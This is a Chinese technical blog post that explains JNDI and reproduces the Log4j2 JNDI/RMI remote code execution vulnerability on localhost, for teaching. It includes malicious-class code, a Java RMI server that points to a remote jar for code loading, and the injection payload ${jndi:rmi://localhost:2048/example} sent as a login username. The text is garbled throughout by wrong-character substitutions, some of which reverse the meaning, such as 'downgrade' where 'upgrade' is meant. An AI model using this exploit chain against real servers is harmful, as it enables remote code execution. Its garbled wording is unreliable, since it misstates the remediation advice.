1 事件背景

通过一周工夫的Log4j2 RCE事件的发酵,事件也变也越来越简单和乏味,就连 Log4j 官网紧急公布了 2.15.0 版本之后没有过多久,又发声明说 2.15.0 版本也没有齐全解决问题,而后进而持续公布了 2.16.0 版本。大家都认为2.16.0是最终终结版本了,没想到才过多久又爆雷,Log4j 2.17.0横空出世。

置信各位小伙伴都在加班加点熬夜紧急修复和改过Apache Log4j爆出的安全漏洞,各企业都瑟瑟发抖,连网警都告诉各位站长,包含我也收到了湖南长沙高新区网警的告诉。

我也紧急公布了两篇教程,给各位小伙伴支招,我之前公布的教程仍然无效。

【紧急】Apache Log4j任意代码执行破绽平安危险降级修复教程

【紧急】持续折腾,Log4j再发2.16.0,强烈建议降级

尽管,各位小伙伴依照教程一步一步操作能疾速解决问题,然而很多小伙伴仍旧有很多纳闷,不知其所以然。在这里我给大家详细分析并复现一下Log4j2破绽产生的起因,纯正是以学习为目标。

Log4j2破绽总体来说是通过JNDI注入恶意代码来实现攻打,具体的操作形式有RMI和LDAP等。

2 JNDI介绍

2.1 JNDI定义

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是Java中为命名和目录服务提供接口的API,JNDI次要由两局部组成:Naming(命名)和Directory(目录),其中Naming是指将对象通过惟一标识符绑定到一个上下文Context,同时可通过惟一标识符查找取得对象,而Directory次要指将某一对象的属性绑定到Directory的上下文DirContext中,同时可通过名称获取对象的属性,同时也能够操作属性。

2.2 JNDI架构

Java应用程序通过JNDI API拜访目录服务,而JNDI API会调用Naming Manager实例化JNDI SPI,而后通过JNDI SPI去操作命名或目录服务其如LDAP, DNS,RMI等,JNDI外部已实现了对LDAP,DNS, RMI等目录服务器的操作API。其架构图如下所示:

2.3 JNDI外围API

| 类名 | 解释 |
| -------- | -------- |
| Context | 命名服务的接口类,由很多的name-to-object的健值对组成,能够通过该接口将健值对绑定到该类中,也可通过该类依据name获取其绑定的对象 |
| InitialContextNaming | (命名服务)操作的入口类,通过该类可对命名服务进行相干的操作 |
| DirContext | Directory目录服务的接口类,该类继承自Context,在Naming服务的根底上扩大了对于对象属性的绑定和获取操作 |
| InitialDirContext | Directory目录服务相干操作的入口类,通过该类可进行目录相干服务的操作 |

Java通过JNDI API去调用服务。例如,咱们大家相熟的odbc数据连贯,就是通过JNDI的形式来调用数据源的。以下代码大家应该很相熟:

<?xml version="1.0" encoding="UTF-8"?><Context>    <Resource name="jndi/person"            auth="Container"            type="javax.sql.DataSource"            username="root"            password="root"            driverClassName="com.mysql.jdbc.Driver"            url="jdbc:mysql://localhost:3306/test"            maxTotal="8"            maxIdle="4"/></Context>

在Context.xml文件中咱们能够定义数据库驱动,url、账号密码等要害信息,其中name这个字段的内容为自定义。上面应用InitialContext对象获取数据源

Connection conn=null; PreparedStatement ps = null;ResultSet rs = null;try {   Context ctx=new InitialContext();   Object datasourceRef=ctx.lookup("java:comp/env/jndi/person"); //援用数据源   DataSource ds=(Datasource)datasourceRef;   conn = ds.getConnection();     //省略局部代码  ...    c.close(); } catch(Exception e) {   e.printStackTrace(); } finally {   if(conn!=null) {     try {       conn.close();     } catch(SQLException e) { }   } }

是不是很相熟呢?JNDI的其余利用在此我就不多做介绍了,如果还不理解JNDI/RMI/LDAP等相干概念的小伙伴请自行百度一下。

3 攻打原理

上面我以RMI的形式为例,具体复现步骤和剖析起因。解释根本攻打原理之前,咱们先来看一张时序图:

1、攻击者首先公布一个RMI服务,此服务将绑定一个援用类型的RMI对象。在援用对象中指定一个近程的含有恶意代码的类。例如:蕴含 system.exit(1) 等相似的危险操作和恶意代码的下载地址。

2、攻击者再公布另一个恶意代码下载服务,此服务能够下载所有含有恶意代码的类。

3、攻击者利用Log4j2的破绽注入RMI调用,例如:logger.info("日志信息 ${jndi:rmi://rmi-service:port/example}")。

4、调用RMI后将获取到援用类型的RMI近程对象,该对象将就加载恶意代码并执行。

4 破绽复现

4.1 创立恶意代码

创立恶意代码相干类,以下代码仅供学习:

package com.tom.example.log4j;public class HackedClassFactory {    public HackedClassFactory(){        System.out.println("程序行将终止");        System.exit(1);    }}

创立HackedClassFactory类的定义,在构造函数里写入终止程序运行的恶意代码。

4.2 公布恶意代码

将HackedClassFactory类打成jar包,公布到HTTP服务器上,能通过简略的Get申请失常下载即可。

4.3 创立RMI服务

编写如下代码,并运行程序:

package com.tom.example.rmi;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.util.Hashtable;import com.sun.jndi.rmi.registry.ReferenceWrapper;public class HackedRmiService {        public static void main(String[] args) {        try {            int port = 2048;  //设置RMI服务近程监听端口            //创立并公布RMI服务            LocateRegistry.createRegistry(port);            Hashtable<String, Object> env = new Hashtable<String,Object>();            env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");            env.put(Context.PROVIDER_URL,"rmi://127.0.0.1" + ":" + port);            Context context = new InitialContext(env);            String serviceName = "example";            String serviceClassName = "com.tom.example.log4j.HackedClassFactory";            //指定恶意代码的下载地址            Reference refer = new Reference(                    serviceName,                    serviceClassName,                    "http://127.0.0.1/example/classes.jar");            ReferenceWrapper wrapper = new ReferenceWrapper(refer);            //为RMI服务绑定一个援用类型的对象,此对象能够被近程拜访            context.bind(serviceName,wrapper);        }catch (Exception e){            e.printStackTrace();        }    }}

RMI服务启动之后,即公布了监听端口为2048的RMI服务。

运行 netstat -ano | find "2048" 命令测验,失去如下后果,阐明RMI服务曾经失常启动,如下图:

4.4 注入恶意代码

上面咱们利用Log4j的破绽注入恶意代码,有已知用户登录的业务场景,小伙伴们先不论它是如何实现的,其代码如下:

@RequestMapping(value="/login")public ResponseEntity login(String loginName,String loginPass){        ResultMsg<?> data = memberService.login(loginName,loginPass);    //演示代码,省略业务逻辑,默认为登录胜利    log.info("登录胜利",loginName);    String json = JSON.toJSONString(data);    return ResponseEntity            .ok()            .contentType(MediaType.APPLICATION_JSON)            .body(json);}

利用Postman测试,首先失常拜访能失去冀望的后果,如下图所示:

用户登录胜利后会失常返回token,这看上去是一个惯例操作。仔细的小伙发现,在登录胜利之后,后盾会打印一条日志且输入登录的用户名。

接下来,我做一个非常规操作。将用户名输出为 ${jndi:rmi://localhost:2048/example}

咱们发现程序曾经无奈响应,再看后盾日志,曾经终止运行。

这里仅仅只是演示成果,我编写的恶意代码只是终止程序,如果攻击者注入的是其余恶意代码,那结果将不堪设想。

5 源码剖析

通过以上案例还原了攻击者利用Log4j的破绽对目标程序进行攻打的残缺过程,接下来剖析一下Log4j的源码从而理解根本原因。其罪魁祸首是Log4j2 的MessagePatternConverter组件中的format()办法,Log4j在记录日志的时候会间接的调用该办法,具体源码如下:

从源码中咱们能够发现该办法会截取 $ 和 { } 之间的字符串,将该字符作为查找对象的条件。如果字符是 jndi:rmi 这样的协定格局则进行JNDI形式的RMI调用,从而触发原生的RMI服务调用。具体调用地位在StrSubstitutor的substitute()办法:

private int substitute(LogEvent event, StringBuilder buf, int offset, int length, List<String> priorVariables) {   //此处省略局部代码   ...    this.checkCyclicSubstitution(varName, (List)priorVariables);    ((List)priorVariables).add(varName);    String varValue = this.resolveVariable(event, varName, buf, startPos, pos);    if (varValue == null) {        varValue = varDefaultValue;    }         //此处省略局部代码    ...    }

上述代码中的resolveVariable()最终会调用InitialContext的lookup()办法:

protected String resolveVariable(LogEvent event, String variableName, StringBuilder buf, int startPos, int endPos) {    StrLookup resolver = this.getVariableResolver();    return resolver == null ? null : resolver.lookup(event, variableName);}

通过断点调试,咱们的确发现调用了RMI服务,下图所示:

最终恶意代码通过RMI加载实现当前,会调用javax.naming.spi.NamingManager的getObjectFactoryFromReference()办法加载恶意代码,也就是咱们之前写的com.tom.example.log4j.HackedClassFactory类。首先会在尝试本地找,如果本地找不到会通过近程地址加载,也就是咱们公布的下载服务,即http://127.0.0.1/example/clas...

加载近程代码之后,通过反射调用结构器创立攻打类的实例,而恶意代码编写在结构器中,所以在被攻击者的程序中间接执行了恶意代码。

看到这里,小伙伴们是不是有种和SQL注入一模一样的感觉。

5 危险条件

该破绽须要满足以下条件才有可能被攻打:

1、首先应用的是Logj4j2的破绽版本,即 <= 2.14.1的版本。

2、攻击者有机会注入恶意代码,例如零碎中记录的日志信息没有任何非凡过滤。

3、攻击者须要公布RMI近程服务和恶意代码下载服务。

4、被攻击者的网络能够拜访到RMI服务和恶意代码下载服务,即被攻击者的服务器能够随便拜访公网,或者在内网公布过相似的危险服务。

5、被攻击者在JVM中开启了RMI/LDAP等协定的truseURLCodebase属性为ture。

以上就是我对Log4j2 RCE破绽的残缺复现及根本原因剖析,当然最高效的形式还是敞开Lookup相干性能。尽管,官网也在紧急修复,但波及到软件降级存在肯定危险,还有可能须要大量的反复测试工作。

我在之前紧急公布的教程仍然无效,大家能够持续参照用最高效牢靠的形式解决问题。

【紧急】Apache Log4j任意代码执行破绽平安危险降级修复教程

【紧急】持续折腾,Log4j再发2.16.0,强烈建议降级

关注微信公众号『 Tom弹架构 』回复“Spring”可获取残缺源码。

本文为“Tom弹架构”原创,转载请注明出处。技术在于分享,我分享我高兴!如果您有任何倡议也可留言评论或私信,您的反对是我保持创作的能源。关注微信公众号『 Tom弹架构 』可获取更多技术干货!

原创不易,保持很酷,都看到这里了,小伙伴记得点赞、珍藏、在看,一键三连加关注!如果你感觉内容太干,能够分享转发给敌人滋润滋润!